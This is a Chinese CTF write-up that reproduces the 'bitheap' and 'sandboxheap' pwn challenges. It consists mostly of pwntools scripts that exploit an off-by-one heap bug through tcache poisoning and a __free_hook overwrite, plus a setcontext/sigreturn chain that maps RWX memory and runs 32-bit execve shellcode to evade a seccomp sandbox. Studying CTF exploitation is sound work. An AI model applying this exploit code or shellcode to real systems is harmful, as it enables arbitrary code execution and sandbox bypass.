继续对头wp复现
第2个题是第1题用sandbox调起的结果,通过sandbox禁用了syscall,通过setcontext调sigreturn,建立rwx的mmap块在里边执行32位代码。
先看bitheap
漏洞在于edit时多写一位,off_by_one
unsigned __int64 m2edit()
{
unsigned __int64 result; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index: ");
result = read_n();
v1 = result;
if ( result <= 0xF )
{
result = qword_2020E0[result];
if ( result )
{
printf("Content: ");
return sub_C61(qword_2020E0[v1], 8LL * qword_202060[v1] + 1);// 多写入1位
}
}
return result;
}
通过多出的这一位覆盖下一chunk的头,使101改为100释放到unsort时向前合并制造重叠块再进行tcachebin attack
标准姿势是:块要大于80,先释放7块填满tcache,释放0,修改1利用off_by_one使2的pre_size=chunk0+chunk1,pre_inuse=0,然后释放2,向前合并到0,再分配时由于1块未释放将得到重叠的块
标准头部分
from pwn import *
#patchelf --add-needed ~/glibc/2.27-3u1.6-amd64/libc-2.27.so bitheap
#patchelf --set-interpreter ~/glibc/2.27-3u1.6-amd64/ld-2.27.so bitheap
p = process('./bitheap')
context(arch='amd64', log_level='debug')
elf = ELF('./bitheap')
libc_elf = ELF('./libc-2.27.so')
menu = b"Your choice: "
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def edit(idx, msg): #off_by_onebit
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Content: ", msg.encode())
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def bytes2bin(s):
return ''.join([bin(v)[2:].zfill(8)[::-1] for v in s])
生成重叠块得到libc
p.sendline(b'1')
for i in range(12):
add(i, 0xf8)
for i in range(4,11): #填满tcache
free(i)
free(0)
edit(1, '0'*(0xf0*8)+ '0000000001'.ljust(8*8, '0') + '0') #修改pre_size, pre_inuse=0
free(2)
for i in [4,5,6,7,8,9,10,0]:
add(i, 0xf8)
show(1)
p.recvuntil(b'Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
然后利用重叠块修改tcache的fd指针,指向__free_hook,再建块到__free_hook然后在里边写system,再释放一个带/bin/sh的块执行system(/bin/sh)得到shell
add(12, 0xf8) #12 == 1
free(0)
free(12)
edit(1, bytes2bin(p64(libc_elf.sym['__free_hook'])))
add(13,0xf8)
add(14,0xf8)
edit(14, bytes2bin(p64(libc_elf.sym['system'])))
edit(13, bytes2bin(b'/bin/sh\x00'))
free(13)
p.interactive()
sandboxheap由于调用ptrace禁用syscall所以不能直接调用system,需要在这里写入setcontext+53,然后在一个200的块里写sigframe,在里边生成一个rwx的块并写上32位代码(32位调用int x80不用syscall可绕过)
先show得到堆地址,计算出sigreturn写入的块地址
show(5)
p.recvuntil(b'Content: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x660 + 0xe60 #chunk15
print('heap:', hex(heap_addr))
layout = { 0: heap_addr+0x100,
0xa0: heap_addr,
0xa8: libc_elf.sym['mprotect'],
0x68: heap_addr & ~0xfff,
0x70: 0x4000,
0x88: 7,
0x100: asm( shellcraft.amd64.linux.mmap_rwx(address=0x400000) + shellcraft.amd64.memcpy(0x400800, heap_addr+0x180, 0x20) ) + asm("xor esp, esp; mov rsp, 0x400100; mov eax, 0x23; mov [rsp+4], eax; mov eax, 0x400800; mov [rsp], eax") + b'\xcb', #0xcb: retf
0x180: b'j\x0bX\x99Rh//shh/bin\x89\xe31\xc9\xcd\x80'} #pwncli.ShellcodeMall.i386.execve_bin_sh
payload = flat(layout, filler=b"\x90")
add(15, 0x200)
edit(15, bytes2bin(payload))
add(12, 0xf8) #12 == 1
free(0)
free(12)
edit(1, bytes2bin(p64(libc_elf.sym['__free_hook'])))
add(13,0xf8)
add(14,0xf8)
edit(14, bytes2bin(p64(libc_elf.sym['setcontext'] + 53)))
#edit(13, bytes2bin(b'/bin/sh\x00'))
free(15)
sleep(1)
p.sendline(b'cat f*')